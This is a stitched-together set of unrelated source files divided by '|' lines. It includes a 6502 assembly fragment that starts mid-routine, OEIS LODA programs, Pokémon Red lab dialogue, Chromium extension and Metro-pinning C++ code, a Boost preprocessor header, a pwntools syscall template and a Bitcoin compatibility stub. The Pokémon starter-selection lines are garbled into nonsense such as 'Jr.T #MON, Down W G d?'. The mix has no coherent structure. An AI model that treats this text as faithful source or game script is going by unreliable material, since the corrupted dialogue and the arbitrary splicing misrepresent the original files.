ldx #"N"
ok7 pha
txa
jsr $ffd2
pla
ldx #"v"
asl a
bcc ok6
ldx #"V"
ok6 pha
txa
jsr $ffd2
pla
ldx #"0"
asl a
bcc ok5
ldx #"1"
ok5 pha
txa
jsr $ffd2
pla
ldx #"b"
asl a
bcc ok4
ldx #"B"
ok4 pha
txa
jsr $ffd2
pla
ldx #"d"
asl a
bcc ok3
ldx #"D"
ok3 pha
txa
jsr $ffd2
pla
ldx #"i"
asl a
bcc ok2
ldx #"I"
ok2 pha
txa
jsr $ffd2
pla
ldx #"z"
asl a
bcc ok1
ldx #"Z"
ok1 pha
txa
jsr $ffd2
pla
ldx #"c"
asl a
bcc ok0
ldx #"C"
ok0 pha
txa
jsr $ffd2
pla
lda #32
jsr $ffd2
iny
lda (172),y
.bend
hexb pha
lsr a
lsr a
lsr a
lsr a
jsr hexn
pla
and #$0f
hexn ora #$30
cmp #$3a
bcc hexn0
adc #6
hexn0 jmp $ffd2
print pla
.block
sta print0+1
pla
sta print0+2
ldx #1
print0 lda !*,x
beq print1
jsr $ffd2
inx
bne print0
print1 sec
txa
adc print0+1
sta print2+1
lda #0
adc print0+2
sta print2+2
print2 jmp !*
.bend
|
; A314252: Coordination sequence Gal.5.295.1 where G.u.t.v denotes the coordination sequence for a vertex of type v in tiling number t in the Galebach list of u-uniform tilings.
; 1,5,11,17,23,29,35,41,47,53,58,63,69,75,81,87,93,99,105,111,116,121,127,133,139,145,151,157,163,169,174,179,185,191,197,203,209,215,221,227,232,237,243,249,255,261,267,273,279,285
mov $2,$0
mov $3,$0
mul $0,4
mov $1,1
add $2,1
lpb $0
trn $1,$2
add $1,$0
trn $2,2
mov $0,$2
sub $2,3
trn $2,5
lpe
lpb $3
add $1,1
sub $3,1
lpe
mov $0,$1
|
_OaksLabGaryText1::
text "<RIVAL>: Yo"
line "<PLAYER>! Gramps"
cont "isn't around!"
done
_OaksLabText40::
text "<RIVAL>: Heh, I"
line "don't need to be"
cont "greedy like you!"
para "Go ahead and"
line "choose, <PLAYER>!"
done
_OaksLabText41::
text "<RIVAL>: My"
line "#MON looks a"
cont "lot stronger."
done
_OaksLabText39::
text "Those are #"
line "BALLs. They"
cont "contain #MON!"
done
_OaksLabCharmanderText::
text "So! You want the"
line "Jr.T #MON,"
cont "Down W G d?"
done
_OaksLabSquirtleText::
text "So! You want the"
line "Hiker #MON,"
cont "4B 8 4 8?"
done
_OaksLabBulbasaurText::
text "So! You want the"
line "Tiles #MON,"
cont "SymP 6Sym?"
done
_OaksLabMonEnergeticText::
text "This #MON is"
line "really energetic!"
prompt
_OaksLabReceivedMonText::
text "<PLAYER> received"
line "a @"
text_ram wcd6d
text "!@"
text_end
_OaksLabLastMonText::
text "That's PROF.OAK's"
line "last #MON!"
done
_OaksLabText_1d2f0::
text "OAK: Now, <PLAYER>,"
line "which #MON do"
cont "you want?"
done
_OaksLabText_1d2f5::
text "OAK: If a wild"
line "#MON appears,"
cont "your #MON can"
cont "fight against it!"
done
_OaksLabText_1d2fa::
text "OAK: <PLAYER>,"
line "raise your young"
cont "#MON by making"
cont "it fight!"
done
_OaksLabDeliverParcelText1::
text "OAK: Oh, <PLAYER>!"
para "How is my old"
line "#MON?"
para "Well, it seems to"
line "like you a lot."
para "You must be"
line "talented as a"
cont "#MON trainer!"
para "What? You have"
line "something for me?"
para "<PLAYER> delivered"
line "OAK's PARCEL.@"
text_end
_OaksLabDeliverParcelText2::
text_start
para "Ah! This is the"
line "custom # BALL"
cont "I ordered!"
cont "Thank you!"
done
_OaksLabAroundWorldText::
text "#MON around the"
line "world wait for"
cont "you, <PLAYER>!"
done
_OaksLabGivePokeballsText1::
text "OAK: You can't get"
line "detailed data on"
cont "#MON by just"
cont "seeing them."
para "You must catch"
line "them! Use these"
cont "to capture wild"
cont "#MON."
para "<PLAYER> got 5"
line "# BALLs!@"
text_end
_OaksLabGivePokeballsText2::
text_start
para "When a wild"
line "#MON appears,"
cont "it's fair game."
para "Just throw a #"
line "BALL at it and try"
line "to catch it!"
para "This won't always"
line "work, though."
para "A healthy #MON"
line "could escape. You"
cont "have to be lucky!"
done
_OaksLabPleaseVisitText::
text "OAK: Come see me"
line "sometimes."
para "I want to know how"
line "your #DEX is"
cont "coming along."
done
_OaksLabText_1d31d::
text "OAK: Good to see "
line "you! How is your "
cont "#DEX coming? "
cont "Here, let me take"
cont "a look!"
prompt
_OaksLabText_1d32c::
text "It's encyclopedia-"
line "like, but the"
cont "pages are blank!"
done
_OaksLabText8::
text "?"
done
_OaksLabText_1d340::
text "PROF.OAK is the"
line "authority on"
cont "#MON!"
para "Many #MON"
line "trainers hold him"
cont "in high regard!"
done
_OaksLabRivalWaitingText::
text "<RIVAL>: Gramps!"
line "I'm fed up with"
cont "waiting!"
done
_OaksLabChooseMonText::
text "OAK: <RIVAL>?"
line "Let me think..."
para "Oh, that's right,"
line "I told you to"
cont "come! Just wait!"
para "Here, <PLAYER>!"
para "There are 3"
line "#MON here!"
para "Haha!"
para "They are inside"
line "the # BALLs."
para "When I was young,"
line "I was a serious"
cont "#MON trainer!"
para "In my old age, I"
line "have only 3 left,"
cont "but you can have"
cont "one! Choose!"
done
_OaksLabRivalInterjectionText::
text "<RIVAL>: Hey!"
line "Gramps! What"
cont "about me?"
done
_OaksLabBePatientText::
text "OAK: Be patient!"
line "<RIVAL>, you can"
cont "have one too!"
done
_OaksLabLeavingText::
text "OAK: Hey! Don't go"
line "away yet!"
done
_OaksLabRivalPickingMonText::
text "<RIVAL>: I'll take"
line "this one, then!"
done
_OaksLabRivalReceivedMonText::
text "<RIVAL> received"
line "a @"
text_ram wcd6d
text "!@"
text_end
_OaksLabRivalChallengeText::
text "<RIVAL>: Wait"
line "<PLAYER>!"
cont "Let's check out"
cont "our #MON!"
para "Come on, I'll take"
line "you on!"
done
_OaksLabText_1d3be::
text "WHAT?"
line "Unbelievable!"
cont "I picked the"
cont "wrong #MON!"
prompt
_OaksLabText_1d3c3::
text "<RIVAL>: Yeah! Am"
line "I great or what?"
prompt
_OaksLabRivalToughenUpText::
text "<RIVAL>: Okay!"
line "I'll make my"
cont "#MON fight to"
cont "toughen it up!"
para "<PLAYER>! Gramps!"
line "Smell you later!"
done
_OaksLabText21::
text "<RIVAL>: Gramps!"
done
_OaksLabText22::
text "<RIVAL>: What did"
line "you call me for?"
done
_OaksLabText23::
text "OAK: Oh right! I"
line "have a request"
cont "of you two."
done
_OaksLabText24::
text "On the desk there"
line "is my invention,"
cont "#DEX!"
para "It automatically"
line "records data on"
cont "#MON you've"
cont "seen or caught!"
para "It's a hi-tech"
line "encyclopedia!"
done
_OaksLabText25::
text "OAK: <PLAYER> and"
line "<RIVAL>! Take"
cont "these with you!"
para "<PLAYER> got"
line "#DEX from OAK!@"
text_end
_OaksLabText26::
text "To make a complete"
line "guide on all the"
cont "#MON in the"
cont "world..."
para "That was my dream!"
para "But, I'm too old!"
line "I can't do it!"
para "So, I want you two"
line "to fulfill my"
cont "dream for me!"
para "Get moving, you"
line "two!"
para "This is a great"
line "undertaking in"
cont "#MON history!"
done
_OaksLabText27::
text "<RIVAL>: Alright"
line "Gramps! Leave it"
cont "all to me!"
para "<PLAYER>, I hate to"
line "say it, but I"
cont "don't need you!"
para "I know! I'll"
line "borrow a TOWN MAP"
cont "from my sis!"
para "I'll tell her not"
line "to lend you one,"
cont "<PLAYER>! Hahaha!"
done
_OaksLabText_1d405::
text "I study #MON as"
line "PROF.OAK's AIDE."
done
_OaksLabText_441cc::
text "#DEX comp-"
line "letion is:"
para "@"
text_decimal hDexRatingNumMonsSeen, 1, 3
text " #MON seen"
line "@"
text_decimal hDexRatingNumMonsOwned, 1, 3
text " #MON owned"
para "PROF.OAK's"
line "Rating:"
prompt
_OaksLabText_44201::
text "You still have"
line "lots to do."
cont "Look for #MON"
cont "in grassy areas!"
done
_OaksLabText_44206::
text "You're on the"
line "right track! "
cont "Get a FLASH HM"
cont "from my AIDE!"
done
_OaksLabText_4420b::
text "You still need"
line "more #MON!"
cont "Try to catch"
cont "other species!"
done
_OaksLabText_44210::
text "Good, you're"
line "trying hard!"
cont "Get an ITEMFINDER"
cont "from my AIDE!"
done
_OaksLabText_44215::
text "Looking good!"
line "Go find my AIDE"
cont "when you get 50!"
done
_OaksLabText_4421a::
text "You finally got at"
line "least 50 species!"
cont "Be sure to get"
cont "CASCADEBADGE from"
cont "my AIDE!"
done
_OaksLabText_4421f::
text "Ho! This is geting"
line "even better!"
done
_OaksLabText_44224::
text "Very good!"
line "Go fish for some"
cont "marine #MON!"
done
_OaksLabText_44229::
text "Wonderful!"
line "Do you like to"
cont "collect things?"
done
_OaksLabText_4422e::
text "I'm impressed!"
line "It must have been"
cont "difficult to do!"
done
_OaksLabText_44233::
text "You finally got at"
line "least 100 species!"
cont "I can't believe"
cont "how good you are!"
done
_OaksLabText_44238::
text "You even have the"
line "evolved forms of"
cont "#MON! Super!"
done
_OaksLabText_4423d::
text "Excellent! Trade"
line "with friends to"
cont "get some more!"
done
_OaksLabText_44242::
text "Outstanding!"
line "You've become a"
cont "real pro at this!"
done
_OaksLabText_44247::
text "I have nothing"
line "left to say!"
cont "You're the"
cont "authority now!"
done
_OaksLabText_4424c::
text "Your #DEX is"
line "entirely complete!"
cont "Congratulations!"
done
|
// Copyright (c) 2012 The Chromium Authors. All rights reserved.
// Use of this source code is governed by a BSD-style license that can be
// found in the LICENSE file.
#include "chrome/browser/extensions/api/declarative/rules_registry_service.h"
#include "base/bind.h"
#include "base/lazy_instance.h"
#include "base/logging.h"
#include "base/memory/scoped_ptr.h"
#include "chrome/browser/chrome_notification_types.h"
#include "chrome/browser/extensions/api/declarative/initializing_rules_registry.h"
#include "chrome/browser/extensions/api/declarative_content/content_rules_registry.h"
#include "chrome/browser/extensions/api/declarative_webrequest/webrequest_rules_registry.h"
#include "chrome/browser/extensions/api/web_request/web_request_api.h"
#include "chrome/common/extensions/extension.h"
#include "content/public/browser/browser_thread.h"
#include "content/public/browser/notification_details.h"
#include "content/public/browser/notification_source.h"
namespace extensions {
namespace {
// Registers |web_request_rules_registry| on the IO thread.
void RegisterToExtensionWebRequestEventRouterOnIO(
void* profile,
scoped_refptr<WebRequestRulesRegistry> web_request_rules_registry) {
ExtensionWebRequestEventRouter::GetInstance()->RegisterRulesRegistry(
profile, web_request_rules_registry);
}
} // namespace
RulesRegistryService::RulesRegistryService(Profile* profile)
: content_rules_registry_(NULL),
profile_(profile) {
if (profile) {
registrar_.Add(this, chrome::NOTIFICATION_EXTENSION_UNLOADED,
content::Source<Profile>(profile->GetOriginalProfile()));
RegisterDefaultRulesRegistries();
}
}
RulesRegistryService::~RulesRegistryService() {}
void RulesRegistryService::RegisterDefaultRulesRegistries() {
scoped_ptr<RulesRegistryWithCache::RuleStorageOnUI> ui_part;
scoped_refptr<WebRequestRulesRegistry> web_request_rules_registry(
new WebRequestRulesRegistry(profile_, &ui_part));
ui_parts_of_registries_.push_back(ui_part.release());
RegisterRulesRegistry(web_request_rules_registry);
content::BrowserThread::PostTask(
content::BrowserThread::IO, FROM_HERE,
base::Bind(&RegisterToExtensionWebRequestEventRouterOnIO,
profile_, web_request_rules_registry));
#if defined(ENABLE_EXTENSIONS)
scoped_refptr<ContentRulesRegistry> content_rules_registry(
new ContentRulesRegistry(profile_, &ui_part));
ui_parts_of_registries_.push_back(ui_part.release());
RegisterRulesRegistry(content_rules_registry);
content_rules_registry_ = content_rules_registry.get();
#endif // defined(ENABLE_EXTENSIONS)
}
void RulesRegistryService::Shutdown() {
// Release the references to all registries. This would happen soon during
// destruction of |*this|, but we need the ExtensionWebRequestEventRouter to
// be the last to reference the WebRequestRulesRegistry objects, so that
// the posted task below causes their destruction on the IO thread, not on UI
// where the destruction of |*this| takes place.
// TODO(vabr): Remove once http://crbug.com/218451#c6 gets addressed.
rule_registries_.clear();
content::BrowserThread::PostTask(
content::BrowserThread::IO, FROM_HERE,
base::Bind(&RegisterToExtensionWebRequestEventRouterOnIO,
profile_, scoped_refptr<WebRequestRulesRegistry>(NULL)));
}
static base::LazyInstance<ProfileKeyedAPIFactory<RulesRegistryService> >
g_factory = LAZY_INSTANCE_INITIALIZER;
// static
ProfileKeyedAPIFactory<RulesRegistryService>*
RulesRegistryService::GetFactoryInstance() {
return &g_factory.Get();
}
// static
RulesRegistryService* RulesRegistryService::Get(Profile* profile) {
return ProfileKeyedAPIFactory<RulesRegistryService>::GetForProfile(profile);
}
void RulesRegistryService::RegisterRulesRegistry(
scoped_refptr<RulesRegistry> rule_registry) {
const std::string event_name(rule_registry->event_name());
DCHECK(rule_registries_.find(event_name) == rule_registries_.end());
rule_registries_[event_name] =
make_scoped_refptr(new InitializingRulesRegistry(rule_registry));
}
scoped_refptr<RulesRegistry> RulesRegistryService::GetRulesRegistry(
const std::string& event_name) const {
RulesRegistryMap::const_iterator i = rule_registries_.find(event_name);
if (i == rule_registries_.end())
return scoped_refptr<RulesRegistry>();
return i->second;
}
void RulesRegistryService::SimulateExtensionUnloaded(
const std::string& extension_id) {
OnExtensionUnloaded(extension_id);
}
void RulesRegistryService::OnExtensionUnloaded(
const std::string& extension_id) {
RulesRegistryMap::iterator i;
for (i = rule_registries_.begin(); i != rule_registries_.end(); ++i) {
scoped_refptr<RulesRegistry> registry = i->second;
if (content::BrowserThread::CurrentlyOn(registry->owner_thread())) {
registry->OnExtensionUnloaded(extension_id);
} else {
content::BrowserThread::PostTask(
registry->owner_thread(),
FROM_HERE,
base::Bind(
&RulesRegistry::OnExtensionUnloaded, registry, extension_id));
}
}
}
void RulesRegistryService::Observe(
int type,
const content::NotificationSource& source,
const content::NotificationDetails& details) {
switch (type) {
case chrome::NOTIFICATION_EXTENSION_UNLOADED: {
const Extension* extension =
content::Details<UnloadedExtensionInfo>(details)->extension;
OnExtensionUnloaded(extension->id());
break;
}
default:
NOTREACHED();
break;
}
}
} // namespace extensions
|
// Copyright (c) 2012 The Chromium Authors. All rights reserved.
// Use of this source code is governed by a BSD-style license that can be
// found in the LICENSE file.
#include "chrome/browser/ui/metro_pin_tab_helper_win.h"
#include <set>
#include "base/base_paths.h"
#include "base/bind.h"
#include "base/files/file_path.h"
#include "base/files/file_util.h"
#include "base/logging.h"
#include "base/memory/ref_counted.h"
#include "base/memory/ref_counted_memory.h"
#include "base/metrics/histogram.h"
#include "base/path_service.h"
#include "base/strings/string_number_conversions.h"
#include "base/strings/utf_string_conversions.h"
#include "base/win/metro.h"
#include "chrome/browser/favicon/favicon_tab_helper.h"
#include "chrome/common/chrome_paths.h"
#include "content/public/browser/browser_thread.h"
#include "content/public/browser/web_contents.h"
#include "crypto/sha2.h"
#include "third_party/skia/include/core/SkCanvas.h"
#include "third_party/skia/include/core/SkColor.h"
#include "ui/gfx/canvas.h"
#include "ui/gfx/codec/png_codec.h"
#include "ui/gfx/color_analysis.h"
#include "ui/gfx/color_utils.h"
#include "ui/gfx/image/image.h"
#include "ui/gfx/rect.h"
#include "ui/gfx/size.h"
DEFINE_WEB_CONTENTS_USER_DATA_KEY(MetroPinTabHelper);
namespace {
// Histogram name for site-specific tile pinning metrics.
const char kMetroPinMetric[] = "Metro.SecondaryTilePin";
// Generate an ID for the tile based on |url_str|. The ID is simply a hash of
// the URL.
base::string16 GenerateTileId(const base::string16& url_str) {
uint8 hash[crypto::kSHA256Length];
crypto::SHA256HashString(base::UTF16ToUTF8(url_str), hash, sizeof(hash));
std::string hash_str = base::HexEncode(hash, sizeof(hash));
return base::UTF8ToUTF16(hash_str);
}
// Get the path of the directory to store the tile logos in.
base::FilePath GetTileImagesDir() {
base::FilePath tile_images_dir;
if (!PathService::Get(chrome::DIR_USER_DATA, &tile_images_dir))
return base::FilePath();
tile_images_dir = tile_images_dir.Append(L"TileImages");
if (!base::DirectoryExists(tile_images_dir) &&
!base::CreateDirectory(tile_images_dir))
return base::FilePath();
return tile_images_dir;
}
// For the given |image| and |tile_id|, try to create a site specific logo in
// |logo_dir|. The path of any created logo is returned in |logo_path|. Return
// value indicates whether a site specific logo was created.
bool CreateSiteSpecificLogo(const SkBitmap& bitmap,
const base::string16& tile_id,
const base::FilePath& logo_dir,
base::FilePath* logo_path) {
const int kLogoWidth = 120;
const int kLogoHeight = 120;
const int kBoxWidth = 40;
const int kBoxHeight = 40;
const int kCaptionHeight = 20;
const double kBoxFade = 0.75;
if (bitmap.isNull())
return false;
// Fill the tile logo with the dominant color of the favicon bitmap.
SkColor dominant_color = color_utils::CalculateKMeanColorOfBitmap(bitmap);
SkPaint paint;
paint.setColor(dominant_color);
gfx::Canvas canvas(gfx::Size(kLogoWidth, kLogoHeight), 1.0f,
true);
canvas.DrawRect(gfx::Rect(0, 0, kLogoWidth, kLogoHeight), paint);
// Now paint a faded square for the favicon to go in.
color_utils::HSL shift = {-1, -1, kBoxFade};
paint.setColor(color_utils::HSLShift(dominant_color, shift));
int box_left = (kLogoWidth - kBoxWidth) / 2;
int box_top = (kLogoHeight - kCaptionHeight - kBoxHeight) / 2;
canvas.DrawRect(gfx::Rect(box_left, box_top, kBoxWidth, kBoxHeight), paint);
// Now paint the favicon into the tile, leaving some room at the bottom for
// the caption.
int left = (kLogoWidth - bitmap.width()) / 2;
int top = (kLogoHeight - kCaptionHeight - bitmap.height()) / 2;
canvas.DrawImageInt(gfx::ImageSkia::CreateFrom1xBitmap(bitmap), left, top);
SkBitmap logo_bitmap = canvas.ExtractImageRep().sk_bitmap();
std::vector<unsigned char> logo_png;
if (!gfx::PNGCodec::EncodeBGRASkBitmap(logo_bitmap, true, &logo_png))
return false;
*logo_path = logo_dir.Append(tile_id).ReplaceExtension(L".png");
return base::WriteFile(*logo_path,
reinterpret_cast<char*>(&logo_png[0]),
logo_png.size()) > 0;
}
// Get the path to the backup logo. If the backup logo already exists in
// |logo_dir|, it will be used, otherwise it will be copied out of the install
// folder. (The version in the install folder is not used as it may disappear
// after an upgrade, causing tiles to lose their images if Windows rebuilds
// its tile image cache.)
// The path to the logo is returned in |logo_path|, with the return value
// indicating success.
bool GetPathToBackupLogo(const base::FilePath& logo_dir,
base::FilePath* logo_path) {
const wchar_t kDefaultLogoFileName[] = L"SecondaryTile.png";
*logo_path = logo_dir.Append(kDefaultLogoFileName);
if (base::PathExists(*logo_path))
return true;
base::FilePath default_logo_path;
if (!PathService::Get(base::DIR_MODULE, &default_logo_path))
return false;
default_logo_path = default_logo_path.Append(kDefaultLogoFileName);
return base::CopyFile(default_logo_path, *logo_path);
}
// UMA reporting callback for site-specific secondary tile creation.
void PinPageReportUmaCallback(
base::win::MetroSecondaryTilePinUmaResult result) {
UMA_HISTOGRAM_ENUMERATION(kMetroPinMetric,
result,
base::win::METRO_PIN_STATE_LIMIT);
}
// The PinPageTaskRunner class performs the necessary FILE thread actions to
// pin a page, such as generating or copying the tile image file. When it
// has performed these actions it will send the tile creation request to the
// metro driver.
class PinPageTaskRunner : public base::RefCountedThreadSafe<PinPageTaskRunner> {
public:
// Creates a task runner for the pinning operation with the given details.
// |favicon| can be a null image (i.e. favicon.isNull() can be true), in
// which case the backup tile image will be used.
PinPageTaskRunner(const base::string16& title,
const base::string16& url,
const SkBitmap& favicon);
void Run();
void RunOnFileThread();
private:
~PinPageTaskRunner() {}
// Details of the page being pinned.
const base::string16 title_;
const base::string16 url_;
SkBitmap favicon_;
friend class base::RefCountedThreadSafe<PinPageTaskRunner>;
DISALLOW_COPY_AND_ASSIGN(PinPageTaskRunner);
};
PinPageTaskRunner::PinPageTaskRunner(const base::string16& title,
const base::string16& url,
const SkBitmap& favicon)
: title_(title),
url_(url),
favicon_(favicon) {}
void PinPageTaskRunner::Run() {
DCHECK_CURRENTLY_ON(content::BrowserThread::UI);
content::BrowserThread::PostTask(
content::BrowserThread::FILE,
FROM_HERE,
base::Bind(&PinPageTaskRunner::RunOnFileThread, this));
}
void PinPageTaskRunner::RunOnFileThread() {
DCHECK_CURRENTLY_ON(content::BrowserThread::FILE);
base::string16 tile_id = GenerateTileId(url_);
base::FilePath logo_dir = GetTileImagesDir();
if (logo_dir.empty()) {
LOG(ERROR) << "Could not create directory to store tile image.";
return;
}
base::FilePath logo_path;
if (!CreateSiteSpecificLogo(favicon_, tile_id, logo_dir, &logo_path) &&
!GetPathToBackupLogo(logo_dir, &logo_path)) {
LOG(ERROR) << "Count not get path to logo tile.";
return;
}
UMA_HISTOGRAM_ENUMERATION(kMetroPinMetric,
base::win::METRO_PIN_LOGO_READY,
base::win::METRO_PIN_STATE_LIMIT);
HMODULE metro_module = base::win::GetMetroModule();
if (!metro_module)
return;
base::win::MetroPinToStartScreen metro_pin_to_start_screen =
reinterpret_cast<base::win::MetroPinToStartScreen>(
::GetProcAddress(metro_module, "MetroPinToStartScreen"));
if (!metro_pin_to_start_screen) {
NOTREACHED();
return;
}
metro_pin_to_start_screen(tile_id,
title_,
url_,
logo_path,
base::Bind(&PinPageReportUmaCallback));
}
} // namespace
class MetroPinTabHelper::FaviconChooser {
public:
FaviconChooser(MetroPinTabHelper* helper,
const base::string16& title,
const base::string16& url,
const SkBitmap& history_bitmap);
~FaviconChooser() {}
// Pin the page on the FILE thread using the current |best_candidate_| and
// delete the FaviconChooser.
void UseChosenCandidate();
// Update the |best_candidate_| with the newly downloaded favicons provided.
void UpdateCandidate(int id,
const GURL& image_url,
const std::vector<SkBitmap>& bitmaps);
void AddPendingRequest(int request_id);
private:
// The tab helper that this chooser is operating for.
MetroPinTabHelper* helper_;
// Title and URL of the page being pinned.
const base::string16 title_;
const base::string16 url_;
// The best candidate we have so far for the current pin operation.
SkBitmap best_candidate_;
// Outstanding favicon download requests.
std::set<int> in_progress_requests_;
DISALLOW_COPY_AND_ASSIGN(FaviconChooser);
};
MetroPinTabHelper::FaviconChooser::FaviconChooser(
MetroPinTabHelper* helper,
const base::string16& title,
const base::string16& url,
const SkBitmap& history_bitmap)
: helper_(helper),
title_(title),
url_(url),
best_candidate_(history_bitmap) {}
void MetroPinTabHelper::FaviconChooser::UseChosenCandidate() {
DCHECK_CURRENTLY_ON(content::BrowserThread::UI);
scoped_refptr<PinPageTaskRunner> runner(
new PinPageTaskRunner(title_, url_, best_candidate_));
runner->Run();
helper_->FaviconDownloaderFinished();
}
void MetroPinTabHelper::FaviconChooser::UpdateCandidate(
int id,
const GURL& image_url,
const std::vector<SkBitmap>& bitmaps) {
const int kMaxIconSize = 32;
DCHECK_CURRENTLY_ON(content::BrowserThread::UI);
std::set<int>::iterator iter = in_progress_requests_.find(id);
// Check that this request is one of ours.
if (iter == in_progress_requests_.end())
return;
in_progress_requests_.erase(iter);
// Process the bitmaps, keeping the one that is best so far.
for (std::vector<SkBitmap>::const_iterator iter = bitmaps.begin();
iter != bitmaps.end();
++iter) {
// If the new bitmap is too big, ignore it.
if (iter->height() > kMaxIconSize || iter->width() > kMaxIconSize)
continue;
// If we don't have a best candidate yet, this is better so just grab it.
if (best_candidate_.isNull()) {
best_candidate_ = *iter;
continue;
}
// If it is smaller than our best one so far, ignore it.
if (iter->height() <= best_candidate_.height() ||
iter->width() <= best_candidate_.width()) {
continue;
}
// Othewise it is our new best candidate.
best_candidate_ = *iter;
}
// If there are no more outstanding requests, pin the page on the FILE thread.
// Once this happens this downloader has done its job, so delete it.
if (in_progress_requests_.empty())
UseChosenCandidate();
}
void MetroPinTabHelper::FaviconChooser::AddPendingRequest(int request_id) {
in_progress_requests_.insert(request_id);
}
MetroPinTabHelper::MetroPinTabHelper(content::WebContents* web_contents)
: content::WebContentsObserver(web_contents) {
}
MetroPinTabHelper::~MetroPinTabHelper() {}
bool MetroPinTabHelper::IsPinned() const {
HMODULE metro_module = base::win::GetMetroModule();
if (!metro_module)
return false;
typedef BOOL (*MetroIsPinnedToStartScreen)(const base::string16&);
MetroIsPinnedToStartScreen metro_is_pinned_to_start_screen =
reinterpret_cast<MetroIsPinnedToStartScreen>(
::GetProcAddress(metro_module, "MetroIsPinnedToStartScreen"));
if (!metro_is_pinned_to_start_screen) {
NOTREACHED();
return false;
}
GURL url = web_contents()->GetURL();
base::string16 tile_id = GenerateTileId(base::UTF8ToUTF16(url.spec()));
return metro_is_pinned_to_start_screen(tile_id) != 0;
}
void MetroPinTabHelper::TogglePinnedToStartScreen() {
if (IsPinned()) {
UMA_HISTOGRAM_ENUMERATION(kMetroPinMetric,
base::win::METRO_UNPIN_INITIATED,
base::win::METRO_PIN_STATE_LIMIT);
UnPinPageFromStartScreen();
return;
}
UMA_HISTOGRAM_ENUMERATION(kMetroPinMetric,
base::win::METRO_PIN_INITIATED,
base::win::METRO_PIN_STATE_LIMIT);
GURL url = web_contents()->GetURL();
base::string16 url_str = base::UTF8ToUTF16(url.spec());
base::string16 title = web_contents()->GetTitle();
// TODO(oshima): Use scoped_ptr::Pass to pass it to other thread.
SkBitmap favicon;
FaviconTabHelper* favicon_tab_helper = FaviconTabHelper::FromWebContents(
web_contents());
if (favicon_tab_helper->FaviconIsValid()) {
// Only the 1x bitmap data is needed.
favicon = favicon_tab_helper->GetFavicon().AsImageSkia().GetRepresentation(
1.0f).sk_bitmap();
}
favicon_chooser_.reset(new FaviconChooser(this, title, url_str, favicon));
if (favicon_url_candidates_.empty()) {
favicon_chooser_->UseChosenCandidate();
return;
}
// Request all the candidates.
int max_image_size = 0; // Do not resize images.
for (std::vector<content::FaviconURL>::const_iterator iter =
favicon_url_candidates_.begin();
iter != favicon_url_candidates_.end();
++iter) {
favicon_chooser_->AddPendingRequest(
web_contents()->DownloadImage(iter->icon_url,
true,
max_image_size,
base::Bind(&MetroPinTabHelper::DidDownloadFavicon,
base::Unretained(this))));
}
}
void MetroPinTabHelper::DidNavigateMainFrame(
const content::LoadCommittedDetails& /*details*/,
const content::FrameNavigateParams& /*params*/) {
// Cancel any outstanding pin operations once the user navigates away from
// the page.
if (favicon_chooser_.get())
favicon_chooser_.reset();
// Any candidate favicons we have are now out of date so clear them.
favicon_url_candidates_.clear();
}
void MetroPinTabHelper::DidUpdateFaviconURL(
const std::vector<content::FaviconURL>& candidates) {
favicon_url_candidates_ = candidates;
}
void MetroPinTabHelper::DidDownloadFavicon(
int id,
int http_status_code,
const GURL& image_url,
const std::vector<SkBitmap>& bitmaps,
const std::vector<gfx::Size>& original_bitmap_sizes) {
if (favicon_chooser_.get()) {
favicon_chooser_->UpdateCandidate(id, image_url, bitmaps);
}
}
void MetroPinTabHelper::UnPinPageFromStartScreen() {
HMODULE metro_module = base::win::GetMetroModule();
if (!metro_module)
return;
base::win::MetroUnPinFromStartScreen metro_un_pin_from_start_screen =
reinterpret_cast<base::win::MetroUnPinFromStartScreen>(
::GetProcAddress(metro_module, "MetroUnPinFromStartScreen"));
if (!metro_un_pin_from_start_screen) {
NOTREACHED();
return;
}
GURL url = web_contents()->GetURL();
base::string16 tile_id = GenerateTileId(base::UTF8ToUTF16(url.spec()));
metro_un_pin_from_start_screen(tile_id,
base::Bind(&PinPageReportUmaCallback));
}
void MetroPinTabHelper::FaviconDownloaderFinished() {
favicon_chooser_.reset();
}
|
; A180358: n^8+8n
; 0,9,272,6585,65568,390665,1679664,5764857,16777280,43046793,100000080,214358969,429981792,815730825,1475789168,2562890745,4294967424,6975757577,11019960720,16983563193,25600000160,37822859529,54875873712
mov $1,8
mov $2,$0
pow $0,7
add $1,$0
mul $1,$2
mov $0,$1
|
# /* **************************************************************************
# * *
# * (C) Copyright Paul Mensonides 2002. Permission to copy, use, *
# * modify, sell, and distribute this software is granted provided *
# * this copyright notice appears in all copies. This software is *
# * provided "as is" without express or implied warranty, and with *
# * no claim at to its suitability for any purpose. *
# * *
# ************************************************************************** */
#
# /* See http://www.boost.org for most recent version. */
#
# ifndef BOOST_PREPROCESSOR_PUNCTUATION_PAREN_IF_HPP
# define BOOST_PREPROCESSOR_PUNCTUATION_PAREN_IF_HPP
#
# include <boost/preprocessor/config/config.hpp>
# include <boost/preprocessor/control/if.hpp>
# include <boost/preprocessor/facilities/empty.hpp>
# include <boost/preprocessor/punctuation/paren.hpp>
#
# /* BOOST_PP_LPAREN_IF */
#
# if ~BOOST_PP_CONFIG_FLAGS() & BOOST_PP_CONFIG_EDG()
# define BOOST_PP_LPAREN_IF(cond) BOOST_PP_IF(cond, BOOST_PP_LPAREN, BOOST_PP_EMPTY)()
# else
# define BOOST_PP_LPAREN_IF(cond) BOOST_PP_LPAREN_IF_I(cond)
# define BOOST_PP_LPAREN_IF_I(cond) BOOST_PP_IF(cond, BOOST_PP_LPAREN, BOOST_PP_EMPTY)()
# endif
#
# /* BOOST_PP_RPAREN_IF */
#
# if ~BOOST_PP_CONFIG_FLAGS() & BOOST_PP_CONFIG_EDG()
# define BOOST_PP_RPAREN_IF(cond) BOOST_PP_IF(cond, BOOST_PP_RPAREN, BOOST_PP_EMPTY)()
# else
# define BOOST_PP_RPAREN_IF(cond) BOOST_PP_RPAREN_IF_I(cond)
# define BOOST_PP_RPAREN_IF_I(cond) BOOST_PP_IF(cond, BOOST_PP_RPAREN, BOOST_PP_EMPTY)()
# endif
#
# endif
|
<%
from pwnlib.shellcraft.thumb.linux import syscall
%>
<%page args="fd, file, tvp"/>
<%docstring>
Invokes the syscall futimesat. See 'man 2 futimesat' for more information.
Arguments:
fd(int): fd
file(char): file
tvp(timeval): tvp
</%docstring>
${syscall('SYS_futimesat', fd, file, tvp)}
|
// Copyright (c) 2009-2014 The Bitcoin developers
// Distributed under the MIT software license, see the accompanying
// file COPYING or http://www.opensource.org/licenses/mit-license.php.
#if defined(HAVE_CONFIG_H)
#include "config/thana-config.h"
#endif
#include <cstddef>
#if defined(HAVE_SYS_SELECT_H)
#include <sys/select.h>
#endif
// Prior to GLIBC_2.14, memcpy was aliased to memmove.
extern "C" void* memmove(void* a, const void* b, size_t c);
